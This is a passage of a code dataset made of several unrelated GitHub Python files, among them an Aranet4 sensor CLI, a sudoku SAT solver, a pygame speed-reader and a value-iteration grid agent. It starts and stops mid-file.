isinstance(node, _nodes.Return):\n        returns = unfold_variables(VARS, node.param_names)\n        return returns if len(returns) > 1 else returns[0]\n\n    elif isinstance(node, _nodes.Print):\n        text = unfold_variables(VARS, node.param_names)\n        print(text if len(text) > 1 else text[0])\n        return interpret(nodes, node_count + 1, VARS, FUNCS)\n    \n    elif isinstance(node, _nodes.ExeFunc) and node.name == \"len\":\n        new_VARS = list(filter(lambda var: var[0] != node.storing_var, VARS)) + [[node.storing_var, \n                        \"INT\", len(get_entry_by_name(VARS, node.param_names[0], 0)[-1])]]\n        return interpret(nodes, node_count + 1, new_VARS, FUNCS)\n\n    elif isinstance(node, _nodes.ExeFunc):\n        # Find selected function\n        selected_func = get_entry_by_name(FUNCS, node.name, 0, exception=True)[-1]\n        # Create new vars, rename vars because the given vars are named differently than the ones mentioned in the function declaration\n        new_VARS = node.get_new_vars(VARS, selected_func.params)\n        # Run all the code within the selected function\n        result = interpret(selected_func.code, 0, new_VARS, FUNCS)\n        # If something is returned, add it to the list of variables\n        if selected_func.return_type:\n            new_VARS = list(filter(lambda var: var[0] != node.storing_var, VARS)) + [[node.storing_var, \n                        get_entry_by_name(FUNCS, node.name, 0)[-1].return_type, result]]\n            return interpret(nodes, node_count + 1, new_VARS, FUNCS)\n        else:\n            return interpret(nodes, node_count + 1, VARS, FUNCS)\n\n    elif isinstance(node, _nodes.AssignVar):\n        # If variable is already assigned, remove the existing entry\n        if get_entry_by_name(VARS, node.name, 0):\n            new_VARS = list(filter(lambda x: x[0] != node.name, VARS))\n        else:\n            new_VARS = VARS\n\n        # Go to next node, and add new variable to VARS\n        if type(node.value) == str:\n            if \"-\" in node.value:\n                # If the variable is a entry within a list\n                selected_list = get_entry_by_name(new_VARS, node.value[:node.value.find(\"-\")], 0)[-1] if get_entry_by_name(new_VARS, node.value[:node.value.find(\"-\")], 0) else int(node.value[:node.value.find(\"-\")])\n                selected_index = get_entry_by_name(new_VARS, node.value[node.value.find(\"-\") + 1:], 0)[-1] if get_entry_by_name(new_VARS, node.value[node.value.find(\"-\") + 1:], 0) else int(node.value[node.value.find(\"-\") + 1:])\n                new_var = type(node)(node.name, node.var_type, selected_list[selected_index])\n                return interpret(nodes, node_count + 1, new_VARS + [[new_var.name, new_var.var_type, new_var.value]], FUNCS)\n        new_var = type(node)(node.name, node.var_type, node.value)\n        return interpret(nodes, node_count + 1, new_VARS + [[new_var.name, new_var.var_type, new_var.value]], FUNCS)\n\n    elif isinstance(node, _nodes.ChangeVar):\n        # Get the changed value\n        new_val = node.apply_change(VARS)\n        # Save a new variable with the same name and new value\n        var_type = get_entry_by_name(VARS, node.name, 0, exception=True)[1]\n        new_var = _nodes.AssignVar(node.name, var_type, new_val)\n        new_VARS = list(filter(lambda var: var[0] != node.name, VARS)) + [[new_var.name, new_var.var_type, new_var.value]]\n        # Go to next node\n        return interpret(nodes, node_count + 1, new_VARS, FUNCS)\n\n\ndef main():\n    tokens = lex(\"test_files/test_4.txt\")\n    AST = Parser(tokens).get_AST()\n    interpret(AST.segments)\n\n\nmain()\n","repo_name":"Doniol/ATP","sub_path":"my_interpreter.py","file_name":"my_interpreter.py","file_ext":"py","file_size_in_byte":7134,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"15871022164","text":"import argparse\nimport csv\nfrom dataclasses import asdict\nimport datetime\nfrom pathlib import Path\nimport sys\nfrom time import sleep\n\nimport requests\n\nfrom aranet4 import client\n\nformat_str = \"\"\"\n--------------------------------------\n Connected: {current.name} | {current.version}\n Updated {current.ago} s ago. Intervals: {current.interval} s\n {current.stored} total log_size\n --------------------------------------\n CO2:            {current.co2} ppm\n Temperature:    {current.temperature:.01f} \\u00b0C\n Humidity:       {current.humidity} %\n Pressure:       {current.pressure:.01f} hPa\n Battery:        {current.battery} %\n Status Display: {current.status.name}\n Age:            {current.ago}/{current.interval}\n--------------------------------------\n\"\"\"\n\nformat_str_2 = \"\"\"\n--------------------------------------\n Connected: {current.name} | {current.version}\n Updated {current.ago} s ago. Intervals: {current.interval} s\n {current.stored} total log_size\n --------------------------------------\n Temperature:    {current.temperature:.01f} \\u00b0C\n Humidity:       {current.humidity} %\n Battery:        {current.battery} %\n Status Temp.:   {current.status_t.name}\n Status Humid.:  {current.status_h.name}\n Age:            {current.ago}/{current.interval}\n--------------------------------------\n\"\"\"\n\ndef parse_args(ctl_args):\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"device_mac\", nargs='?', help=\"Aranet4 Bluetooth Address\")\n    parser.add_argument(\n        \"--scan\", action=\"store_true\", help=\"Scan Aranet4 devices\"\n    )\n    current = parser.add_argument_group(\"Options for current reading\")\n    current.add_argument(\n        \"-u\", \"--url\", metavar=\"URL\", help=\"Remote url for current value push\"\n    )\n    parser.add_argument(\n        \"-r\", \"--records\", action=\"store_true\", help=\"Fetch historical log records\"\n    )\n    history = parser.add_argument_group(\"Filter History Log Records\")\n    history.add_argument(\n        \"-s\",\n        \"--start\",\n        metavar=\"DATE\",\n        type=datetime.datetime.fromisoformat,\n        help=\"Records range start (UTC time, example: 2019-09-29T14:00:00\",\n    )\n    history.add_argument(\n        \"-e\",\n        \"--end\",\n        metavar=\"DATE\",\n        type=datetime.datetime.fromisoformat,\n        help=\"Records range end (UTC time, example: 2019-09-30T14:00:00\",\n    )\n    history.add_argument(\n        \"-o\", \"--output\", metavar=\"FILE\", type=Path, help=\"Save records to a file\"\n    )\n    history.add_argument(\n        \"-w\",\n        \"--wait\",\n        action=\"store_true\",\n        default=False,\n        help=\"Wait until new data point available\",\n    )\n    history.add_argument(\n        \"-l\", \"--last\", metavar=\"COUNT\", type=int, help=\"Get <COUNT> last records\"\n    )\n    history.add_argument(\n        \"--xt\",\n        dest=\"temp\",\n        default=True,\n        action=\"store_false\",\n        help=\"Don't get temperature records\",\n    )\n    history.add_argument(\n        \"--xh\",\n        dest=\"humi\",\n        default=True,\n        action=\"store_false\",\n        help=\"Don't get humidity records\",\n    )\n    history.add_argument(\n        \"--xp\",\n        dest=\"pres\",\n        default=True,\n        action=\"store_false\",\n        help=\"Don't get pressure records\",\n    )\n    history.add_argument(\n        \"--xc\",\n        dest=\"co2\",\n        default=True,\n        action=\"store_false\",\n        help=\"Don't get co2 records\",\n    )\n\n    return parser.parse_args(ctl_args)\n\n\ndef print_records(records):\n    \"\"\"Format log records to be printed to screen\"\"\"\n    char_repeat = 34\n    if records.filter.incl_co2:\n        char_repeat += 9\n    if records.filter.incl_temperature:\n        char_repeat += 7\n    if records.filter.incl_humidity:\n        char_repeat += 6\n    if records.filter.incl_pressure:\n        char_repeat += 11\n    print(\"-\" * char_repeat)\n    print(f\"{'Device Name':<15}: {records.name:>20}\")\n    print(f\"{'Device Version':<15}: {records.version:>20}\")\n    print(\"-\" * char_repeat)\n    print(f\"{'id': ^4} | {'date': ^25} |\", end=\"\"),\n    if records.filter.incl_co2:\n        print(f\" {'co2':^6} |\", end=\"\"),\n    if records.filter.incl_temperature:\n        print(\" temp |\", end=\"\")\n    if records.filter.incl_humidity:\n        print(\" humid |\", end=\"\")\n    if records.filter.incl_pressure:\n        print(\" pressure |\", end=\"\")\n    print(\"\")\n    print(\"-\" * char_repeat)\n    filtered_values = records.value\n    for record_id, line in enumerate(filtered_values, start=records.filter.begin):\n        print(f\"{record_id:>4d} | {line.date.isoformat()} |\", end=\"\")\n        if records.filter.incl_co2:\n            print(f\" {line.co2:>6d} |\", end=\"\")\n        if records.filter.incl_temperature:\n            print(f\" {line.temperature:>4.1f} |\", end=\"\")\n        if records.filter.incl_humidity:\n            print(f\" {line.humidity:>3.1f} |\", end=\"\")\n        if records.filter.incl_pressure:\n            print(f\" {line.pressure:>8.1f} |\", end=\"\")\n        print(\"\")\n    print(\"-\" * char_repeat)\n\n\ndef print_scan_result(advertisement):\n    if not advertisement.device:\n        return\n\n    print(\"=======================================\")\n    print(f\"  Name:     {advertisement.device.name}\")\n    print(f\"  Address:  {advertisement.device.address}\")\n    print(f\"  RSSI:     {advertisement.device.rssi} dBm\")\n\n    if advertisement.readings:\n        print(\"--------------------------------------\")\n        if advertisement.readings.co2 >= 0:\n            print(f\"  CO2:            {advertisement.readings.co2} pm\")\n        print(f\"  Temperature:    {advertisement.readings.temperature:.01f} \\u00b0C\")\n        print(f\"  Humidity:       {advertisement.readings.humidity} %\")\n        if advertisement.readings.pressure >= 0:\n            print(f\"  Pressure:       {advertisement.readings.pressure:.01f} hPa\")\n        print(f\"  Battery:        {advertisement.readings.battery} %\")\n        if advertisement.readings.status >= 0:\n            print(f\"  Status Disp.:   {advertisement.readings.status.name}\")\n        if advertisement.readings.status_t >= 0 and advertisement.readings.status_h >= 0:\n            print(f\"  Status Temp.:   {advertisement.readings.status_t.name}\")\n            print(f\"  Status Humid.:  {advertisement.readings.status_h.name}\")\n        print(f\"  Age:            {advertisement.readings.ago}/{advertisement.readings.interval}\")\n        print(f\"  Counter:        {advertisement.readings.counter}\")\n\n    print()\n\n\ndef write_csv(filename, log_data):\n    \"\"\"\n    Output `client.Record` dataclass to csv file\n    :param filename: file name\n    :param log_data: `client.Record` data object\n    \"\"\"\n    with open(filename, \"w\", newline=\"\") as csvfile:\n        fieldnames = [\"date\"]\n        if log_data.filter.incl_co2:\n            fieldnames.append(\"co2\")\n        if log_data.filter.incl_temperature:\n            fieldnames.append(\"temperature\")\n        if log_data.filter.incl_humidity:\n            fieldnames.append(\"humidity\")\n        if log_data.filter.incl_pressure:\n            fieldnames.append(\"pressure\")\n        writer = csv.DictWriter(csvfile, fieldnames=fieldnames, extrasaction=\"ignore\")\n\n        writer.writeheader()\n\n        filtered_values = log_data.value[\n            log_data.filter.begin - 1 : log_data.filter.end\n        ]\n        for line in filtered_values:\n            writer.writerow(asdict(line))\n\n\ndef post_data(url, current):\n    # get current measurement minute\n    now = datetime.datetime.now(datetime.timezone.utc).replace(microsecond=0)\n    delta_ago = datetime.timedelta(seconds=current.ago)\n    t = now - delta_ago\n    t = t.replace(second=0)  # epoch, floored to minutes\n    data = {\n        \"time\": t.timestamp(),\n        \"co2\": current.co2,\n        \"temperature\": current.temperature,\n        \"pressure\": current.pressure,\n        \"humidity\": current.humidity,\n        \"battery\": current.battery,\n    }\n    r = requests.post(\n        url,\n        data=data,\n    )\n    print(\"Pushing data: {:s}\".format(r.text))\n\n\ndef wait_for_new_record(address):\n    current_vals = client.get_current_readings(address)\n    wait_time = current_vals.interval - current_vals.ago\n    for secs in range(wait_time, 0, -1):\n        sleep(1)\n        print(f\"Next data point in {secs}...\", end=\"\\r\")\n\n\ndef main(argv):\n    args = parse_args(argv)\n\n    if args.scan:\n        print(\"Looking for Aranet devices...\")\n        devices = client.find_nearby(print_scan_result)\n        print(f\"Scan finished. Found {len(devices)}\")\n        return\n\n    if not args.device_mac:\n        print(\"Device address not specified\")\n        return\n\n    if args.records:\n        if args.wait:\n            wait_for_new_record(args.device_mac)\n        records = client.get_all_records(args.device_mac, vars(args), True)\n        print_records(records)\n        if args.output:\n            write_csv(args.output, records)\n    else:\n        current = client.get_current_readings(args.device_mac)\n        s = format_str_2 if current.name.startswith(\"Aranet2\") else format_str\n        s = s.format(current=current)\n        print(s)\n        if args.url:\n            post_data(args.url, current)\n\n\ndef entry_point():\n    main(argv=sys.argv[1:])\n\n\nif __name__ == \"__main__\":\n    entry_point()\n","repo_name":"Anrijs/Aranet4-Python","sub_path":"aranet4/aranetctl.py","file_name":"aranetctl.py","file_ext":"py","file_size_in_byte":9129,"program_lang":"python","lang":"en","doc_type":"code","stars":150,"dataset":"github-code","pt":"3"}
+{"seq_id":"42058223276","text":"import pytest\n\nimport yt\nfrom yt.testing import requires_file\nfrom yt.utilities.answer_testing.framework import data_dir_load_v2\n\n\nclass TestRawFieldSlice:\n    @requires_file(\"Laser/plt00015\")\n    @classmethod\n    def setup_class(cls):\n        cls.ds = data_dir_load_v2(\"Laser/plt00015\")\n        fields = [\n            (\"raw\", \"Bx\"),\n            (\"raw\", \"By\"),\n            (\"raw\", \"Bz\"),\n            (\"raw\", \"Ex\"),\n            (\"raw\", \"Ey\"),\n            (\"raw\", \"Ez\"),\n            (\"raw\", \"jx\"),\n            (\"raw\", \"jy\"),\n            (\"raw\", \"jz\"),\n        ]\n        cls.sl = yt.SlicePlot(cls.ds, \"z\", fields)\n        cls.sl.set_log(\"all\", False)\n        cls.sl.render()\n\n    @pytest.mark.parametrize(\n        \"fname\", [\"Bx\", \"By\", \"Bz\", \"Ex\", \"Ey\", \"Ez\", \"jx\", \"jy\", \"jz\"]\n    )\n    @pytest.mark.mpl_image_compare\n    def test_raw_field_slice(self, fname):\n        return self.sl.plots[\"raw\", \"Bx\"].figure\n","repo_name":"yt-project/yt","sub_path":"yt/visualization/tests/test_raw_field_slices.py","file_name":"test_raw_field_slices.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":411,"dataset":"github-code","pt":"3"}
+{"seq_id":"23188473144","text":"import logging.handlers\nfrom loggers import check_logger\n\ntime_rotating_logger = logging.handlers.TimedRotatingFileHandler(filename='logs/server/server_system_out.log',\n                                                                 interval=1, when='M', backupCount=5,\n                                                                 encoding='utf-8')\ntime_rotating_logger.setLevel(logging.DEBUG)\ntime_rotating_logger.setFormatter(check_logger.file_rotate_formatter)\n\nserver_logger = logging.getLogger('server_logger')\nserver_logger.addHandler(check_logger.console_logger)\nserver_logger.addHandler(time_rotating_logger)\nserver_logger.setLevel(logging.DEBUG)\n","repo_name":"diarts/pyhon_2","sub_path":"home_work_3/loggers/server_logger.py","file_name":"server_logger.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"36623992876","text":"import pygame, time\r\npygame.init()\r\nx,y = 500,500\r\n\r\ndef rotate(Givenlist, shift):\r\n\t\treturn Givenlist[shift:] + Givenlist[:shift]\r\n\r\nclass readText:\r\n\tdef __init__(self,textFile,WPM,fontSize=None):\r\n\t\tself.fontSize = fontSize or 50\r\n\t\tself.textFile = textFile\r\n\t\tself.WPM = WPM\r\n\t\tself.delay = 1/(self.WPM/60)\r\n\t\tself.spacePress = False\r\n\r\n\t\r\n\r\n\tdef readingText(self):\r\n\t\tspacePress = False\r\n\t\ttext = open(self.textFile,\"r\",encoding=\"utf8\")\r\n\t\tfont = pygame.font.Font('freesansbold.ttf', self.fontSize) \r\n\t\tdisplay_surface = pygame.display.set_mode((x, y))\r\n\t\tpygame.display.set_caption('textFile') \r\n\t\ttextLines = text.readlines()\r\n\t\trunning = True\r\n\t\twordRemain = ['1','2','3','4','5']\r\n\t\tyValues = [400,300,200,100]\t\r\n\r\n\t\tfor line in textLines:\r\n\t\t\tstringSplit = line.split()\r\n\t\t\tfor i in range(len(stringSplit)):\r\n\t\t\t\tif spacePress == False:\r\n\t\t\t\t\twordRemain = rotate(wordRemain,-1)\r\n\t\t\t\t\twordRemain[0] = stringSplit[i]\r\n\t\t\t\t\tdisplay_surface.fill((255,255,255)) \r\n\t\t\t\t\tfor g in range(len(yValues)):\r\n\t\t\t\t\t\ttextfont = font.render(wordRemain[g-1], True, (0,0,0), (255,255,255))\r\n\t\t\t\t\t\ttextRect = textfont.get_rect() \r\n\t\t\t\t\t\ttextRect.center = (x/2,yValues[g-1])\r\n\t\t\t\t\t\tdisplay_surface.blit(textfont, textRect) \r\n\t\t\t\t\tpygame.display.flip()\r\n\t\t\t\tfor event in pygame.event.get():\r\n\t\t\t\t\tif event.type == pygame.QUIT:\r\n\t\t\t\t\t\trunning = False\r\n\t\t\t\t\tif event.type == pygame.KEYDOWN:\r\n\t\t\t\t\t\tif event.key == pygame.K_ESCAPE:\r\n\t\t\t\t\t\t\trunning = False\r\n\t\t\t\t\t\telif event.key == pygame.K_SPACE:\r\n\t\t\t\t\t\t\tif spacePress == False:\r\n\t\t\t\t\t\t\t\tspacePress = True\r\n\t\t\t\t\t\t\telse:\r\n\t\t\t\t\t\t\t\tspacePress = False\r\n\t\t\t\tif running == False:\r\n\t\t\t\t\tbreak\r\n\t\t\t\ttime.sleep(self.delay)\r\n\t\t\tif running == False:\r\n\t\t\t\tbreak\r\n\t\ttext.close()","repo_name":"james-rossano/LineReader","sub_path":"readFast.py","file_name":"readFast.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22012878672","text":"import pandas as pd\r\nfrom pyecharts.charts import Bar\r\nfrom pyecharts import options as opts\r\nfrom pyecharts.options.global_options import ThemeType\r\n\r\ndf = pd.read_csv(\"AgeDataset-V1.csv\")\r\ndf.dropna()\r\n#america = df[df['Country']=='United States of America']\r\namerica = pd.read_csv(\"res.csv\")\r\ncause = america['Manner of death'].unique()\r\noccupation = america['Occupation'].unique()\r\n\r\nprint(occupation)\r\n\r\ndeath_sum = {}\r\nfor i in cause:\r\n    count = len(america[america[\"Manner of death\"] == i])\r\n    death_sum[i] = count\r\norder = sorted(death_sum.items(),key = lambda item:item[1], reverse = True)\r\n\r\ntop10_cause=[i[0] for i in order[1:11]]\r\ntop10_deathnumber = [ i[1] for i in order[1:11]]\r\n\r\nocc_sum={}\r\nfor i in top10_cause:\r\n    count = len(america[america[\"Manner of death\"] == i])\r\n    death_sum[i] = count\r\norder = sorted(death_sum.items(),key = lambda item:item[1], reverse = True)\r\n\r\noccupation= america['Occupation'].unique()\r\nocc_sum = {}\r\nfor i in occupation:\r\n    count = len(america[america[\"Occupation\"] == i])\r\n    occ_sum[i] = count\r\nocc_order = sorted(occ_sum.items(),key = lambda item:item[1], reverse = True)\r\n\r\n\r\ncolor_series = ['#B33000','#FF4500','#9932CC','#6DBC49','#CD853F','#14ADCF','#FFA500']\r\ntop10_occ=[i[0] for i in occ_order[0:10]]\r\nl1=[]\r\nl2=[]\r\nl3=[]\r\nl4=[]\r\nl5=[]\r\nl6=[]\r\nl7=[]\r\nl8=[]\r\nl9=[]\r\nl10=[]\r\nfor i in range(7):\r\n    part = america[america[\"Manner of death\"] == top10_cause[i]]\r\n    l1.append(len(part[part[\"Occupation\"] == top10_occ[0]]))\r\n    l2.append(len(part[part[\"Occupation\"] == top10_occ[1]]))\r\n    l3.append(len(part[part[\"Occupation\"] == top10_occ[2]]))\r\n    l4.append(len(part[part[\"Occupation\"] == top10_occ[3]]))\r\n    l5.append(len(part[part[\"Occupation\"] == top10_occ[4]]))\r\n    l6.append(len(part[part[\"Occupation\"] == top10_occ[5]]))\r\n    l7.append(len(part[part[\"Occupation\"] == top10_occ[6]]))\r\n    l8.append(len(part[part[\"Occupation\"] == top10_occ[7]]))\r\n    l9.append(len(part[part[\"Occupation\"] == top10_occ[8]]))\r\n    l10.append(len(part[part[\"Occupation\"] == top10_occ[9]]))\r\n\r\nbar = (\r\n    Bar(init_opts=opts.InitOpts(bg_color='rgba(176,224,230,0.7)'))\r\n    .add_xaxis(top10_cause[:6])\r\n    .add_yaxis(top10_occ[0], l1,color=color_series[0])\r\n    .add_yaxis(top10_occ[1], l2,color=color_series[1])\r\n    .add_yaxis(top10_occ[2], l3,color=color_series[2])\r\n    .add_yaxis(top10_occ[3], l4,color=color_series[3])\r\n    .add_yaxis(top10_occ[4], l5,color=color_series[4])\r\n    .add_yaxis(top10_occ[5], l6,color=color_series[5])\r\n    .add_yaxis(top10_occ[6], l7,color=color_series[6])\r\n    .set_global_opts(title_opts=opts.TitleOpts(title=\"Occupation in top death cause\", subtitle=\"bar chart\"),xaxis_opts=opts.AxisOpts(name_rotate=0,name=\"death cause\",axislabel_opts={\"rotate\":10}),yaxis_opts=opts.AxisOpts(name= \"Occupation\")\r\n                    ,legend_opts=opts.LegendOpts(is_show=True,pos_left='50%'))\r\n)\r\nbar.render(path='bar.html')\r\n\r\n\r\n","repo_name":"sixuan-Zhao/InformationVisualizationFinal","sub_path":"bar_chart.py","file_name":"bar_chart.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21286379449","text":"from datetime import datetime, timedelta\nimport calendar\nfrom invalid_date import InvalidDate\n\nclass DateHandler():\n    def __init__(self):\n         self.end_of_the_month = self.__get_end_of_the_month()\n         self.has_start_date = False\n         self.has_end_date = False\n\n    def handle_range_dates(self, start_date, end_date, most_recent_date):\n        start_date, end_date = self.validate_range_dates(start_date, end_date)\n\n        if not self.has_start_date and not self.has_end_date:\n            end_date = most_recent_date\n            start_date = (end_date - timedelta(days=365)).replace(day=1)\n        if not self.has_start_date:\n            start_date = (end_date - timedelta(days=365)).replace(day=1)\n        if not self.has_end_date:\n            end_date = (start_date + timedelta(days=365)).replace(day=1)\n        \n        return start_date, end_date\n\n\n    def validate_range_dates(self,start_date, end_date):\n\n        self.has_start_date = (start_date is not None) if type(start_date) is not str else (not start_date.isspace() and not not start_date) \n        self.has_end_date = (end_date is not None) if type(end_date) is not str else (not end_date.isspace() and not not end_date)\n    \n\n        start_date = datetime.strptime(start_date, '%d-%m-%Y').replace(day=1) if self.has_start_date else datetime(1900, 1, 1)\n        end_date = datetime.strptime(end_date, '%d-%m-%Y').replace(day=1) if self.has_end_date else datetime(2100, 1, 1)\n\n        if  start_date > end_date :\n            raise InvalidDate(message='Start date later than end date', name='InvalidDatesRange')\n            \n        return start_date, end_date\n\n\n    def __get_end_of_the_month(self):\n        today = datetime.now()\n        day = (calendar.monthrange(today.year, today.month))[1]\n        return today.replace(day=day)\n","repo_name":"IgorDeo/ipca_backend","sub_path":"src/date_handler.py","file_name":"date_handler.py","file_ext":"py","file_size_in_byte":1810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28356861527","text":"def Secondmax(list1: list) -> int:\n\n    if len(list1) < 2:\n        return None\n\n    index = 2\n    length = len(list1)\n\n    maxi = max(list1[0], list1[1])\n    mini = min(list1[0], list1[1])\n\n    return Recurrent(list1, index, length, maxi, mini)\n\n\ndef Recurrent(list1: list, index, length, max1: int, max2: int) -> int:\n\n    if length == index:\n        return max2\n\n    if list1[index] > max1:\n        max2 = max1\n        max1 = list1[index]\n\n    elif list1[index] > max2:\n        max2 = list1[index]\n\n    return Recurrent(list1, index + 1, length, max1, max2)\n","repo_name":"AlexanderLolo/Programming_course","sub_path":"src/8problems/problemset_7.py","file_name":"problemset_7.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"2275910201","text":"from pysat.solvers import Glucose3\r\nimport numpy as np\r\n\r\ndef S(n,r,c,num):\r\n    return int(num+(r-1)*n**2+(c-1)*n)\r\n\r\ndef initial_state(grid):\r\n    clause=[]\r\n    n=len(grid)\r\n\r\n    for r in range(n):\r\n        for c in range(n):\r\n            if grid[r][c]!=0:\r\n                number=[]\r\n                number.append(S(n,r+1,c+1,grid[r][c]))\r\n                clause.append(number)\r\n    return clause\r\n\r\ndef R_1(n): # 每一行包含了每一个数\r\n    clause1=[]\r\n    for r in range(1,n+1):\r\n        for num in range(1,n+1):\r\n            number1=[]\r\n            for c in range(1,n+1):\r\n                number1.append(S(n,r,c,num))\r\n            clause1.append(number1)\r\n    return clause1\r\n\r\ndef R_2(n):   # 每一列包含了每一个数\r\n    clause2=[]\r\n    for c in range(1,n+1):\r\n        for num in range(1,n+1):\r\n            number2=[]\r\n            for r in range(1,n+1):\r\n                number2.append(S(n,r,c,num))\r\n            clause2.append(number2)\r\n    return clause2\r\n\r\ndef R_3(n):\r\n    clause3=[]\r\n    sub_n=int(n**0.5)\r\n    for x in range(1,n+1):\r\n        for v in range(1,n+1):\r\n            number3=[]\r\n            sub_r=((x-1)//sub_n)*sub_n+1\r\n            sub_c=((x-1)%sub_n)*sub_n+1\r\n            for i in range(sub_n):\r\n                for j in range(sub_n):\r\n                    number3.append(S(n,sub_r+i,sub_c+j,v))\r\n            clause3.append(number3)\r\n    return clause3\r\n\r\ndef R_4(n):\r\n    clause4=[]\r\n    for r in range(1,n+1):\r\n        for c in range(1,n+1):\r\n            for u in range(1,n):\r\n                for num in range(u+1,n+1):\r\n                    number4=[]\r\n                    number4.append(0-S(n, r, c, u))\r\n                    number4.append(0-S(n, r, c, num))\r\n                    clause4.append(number4)\r\n    return clause4\r\n\r\ndef S_reverse(n,v):\r\n    v0=v%n\r\n    if v0==0:\r\n        v0=n\r\n    nv=int((v-v0)/n)\r\n    c=nv%n\r\n    r=nv//n\r\n    return (r+1,c+1,v0)\r\n\r\ndef final_sudoku(n,model,grid):\r\n    for i in model:\r\n        if i>0:\r\n            r,c,v=S_reverse(n,i)\r\n            grid[r-1][c-1]=v\r\n    for i in range(n):\r\n        for j in range(n):\r\n            print(grid[i][j],end=' ')\r\n        print(end='\\n')\r\n\r\n\r\n\r\ndef input_order():\r\n    n=int(input('please input the order of your sudoku'))\r\n    return n**2\r\n\r\ndef receiver(n):\r\n    a=np.empty([n,n],dtype=int)\r\n    for i in range(n):\r\n        original_grid=input()\r\n        b=original_grid.split()\r\n        for j in range(n):\r\n            a[i][j]=int(b[j])\r\n    grid=[]\r\n    for x in range(n):\r\n        list1=[]\r\n        for y in range(n):\r\n            list1.append(a[x][y])\r\n        grid.append(list1)\r\n    return grid\r\n\r\nn=input_order()\r\ngrid=receiver(n)\r\ng=Glucose3()\r\nclause_initial=initial_state(grid)\r\nfor clause in clause_initial:\r\n    g.add_clause(clause)\r\nr_1=R_1(n)\r\nfor cl1 in r_1:\r\n    g.add_clause(cl1)\r\n\r\nr_2=R_2(n)\r\nfor cl2 in r_2:\r\n    g.add_clause(cl2)\r\nr_3=R_3(n)\r\nfor cl3 in r_3:\r\n    g.add_clause(cl3)\r\nr_4=R_4(n)\r\nfor cl4 in r_4:\r\n    g.add_clause(cl4)\r\n\r\nprint(g.get_model())\r\nprint(g.solve())\r\nif g.solve():\r\n    a=0\r\n    for case in g.enum_models():\r\n        final_sudoku(n,case,grid)\r\n        a+=1\r\n        if a==2:\r\n            break\r\n    model=g.get_model()\r\nelse:\r\n    print(-1)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"mangobusy/sudoku","sub_path":"sudoku.py","file_name":"sudoku.py","file_ext":"py","file_size_in_byte":3230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"28248153254","text":"import numpy as np\nfrom gridutil import *\n\n\nclass LocAgent:\n    def __init__(self, size, walls, eps_move, npits, loc):\n        self.size = size\n        self.walls = walls\n        # list of valid locations\n        self.locations = list({*locations(self.size)}.difference(self.walls))\n        # dictionary from location to its index in the list\n        self.loc_to_idx = {iloc: idx for idx, iloc in enumerate(self.locations)}\n        self.eps_move = eps_move\n        self.npits = npits\n        self.loc = loc\n\n        # previous action\n        self.prev_action = None\n\n        self.t = 0\n\n        self.V = np.zeros([len(self.locations)], dtype=np.float)\n        self.pi = ['E' for _ in self.locations]\n\n        # TODO PUT YOUR ADDITIONAL VARIABLES HERE\n\n        self.pits_list = []\n        self.breeze_list = []\n        self.visited_loc = []\n        self.visited_loc.append(loc)\n        self.dirs = ['N', 'E', 'S', 'W']\n        self.moves = []\n        self.prev_state = loc\n        self.percept = []\n        self.prob_pits_list = []\n        self.real_prev_action = None\n        self.bump_counter = 0\n        self.test_prev_action = 'N'\n        self.prob = 0.9\n        # ---------------------------------------\n\n        self.comp_value_and_policy()\n\n    def comp_value_and_policy(self):\n        gamma = 0.9\n        eps_V = 1e-6\n\n        iter = 0\n        # compute self.V and self.pi\n        # TODO PUT YOUR CODE HERE\n\n        converged = False\n        while not converged:\n            prev_V = np.copy(self.V)\n            for state in self.locations:\n                best_V = np.log(0) # - inf\n                best_action = 'N'\n                for action in self.dirs:\n                    curr_V = 0\n                    reward = 0\n                    if action == 'N':\n                        self.moves = [(0, 1), (1, 0), (-1, 0)]\n                    if action == 'E':\n                        self.moves = [(1, 0), (0, 1), (0, -1)]\n                    if action == 'S':\n                        self.moves = [(0, -1), (1, 0), (-1, 0)]\n                    if action == 'W':\n                        self.moves = [(-1, 0), (0, 1), (0, -1)]\n\n                    next_states = []\n                    for move in self.moves:\n                        if (state[0] + move[0], state[1] + move[1]) in self.locations:\n                            next_states.append((state[0] + move[0], state[1] + move[1]))\n                        else:\n                            next_states.append(state)\n\n                    for idx, next_state in enumerate(next_states):\n                        # prawdopodobienstwo\n                        if idx == 0:\n                            prob = self.prob # prawdopodobienstwo wykonania zaplanowanej akcji\n                        else:\n                            prob = (1-self.prob)/2 # prawdopodobinstwo wykonania ruchu w bok ( nie zaplanoawna akcja)\n\n                        # nagroda\n                        R = 0\n                        if (next_state not in self.visited_loc) and (next_state not in self.prob_pits_list):\n                            R = 100 # nagroda za odkrycie nowego pola\n                        else:\n                            R = -10 # kara za wejście na odwiedzone juz pole\n\n                        if next_state in self.prob_pits_list:\n                            R = -100 # kara za wejscie na pole na ktorym prawdopodobnie jest dol\n\n                        if next_state in self.pits_list:\n                            R = -10000 # kara za wejscie na pole ktore jest na liscie dolow\n\n                        next_state_index = self.loc_to_idx[next_state]\n                        V_next_state = prev_V[next_state_index]\n\n\n                        curr_V += prob * (R + gamma * V_next_state)\n\n                    if curr_V > best_V:\n                        best_V = curr_V\n                        best_action = action\n\n                state_index = self.loc_to_idx[state]\n                self.V[state_index] = best_V\n                self.pi[state_index] = best_action\n\n            for idx, st in enumerate(self.V):\n                # print(idx, prev_V[idx],  st)\n                if abs(prev_V[idx] - st) > eps_V:\n                    converged = False\n                    break\n                else:\n                    converged = True\n\n            iter += 1\n\n        # wyswietlanie macierzy self.V razem z lokacjami\n        # 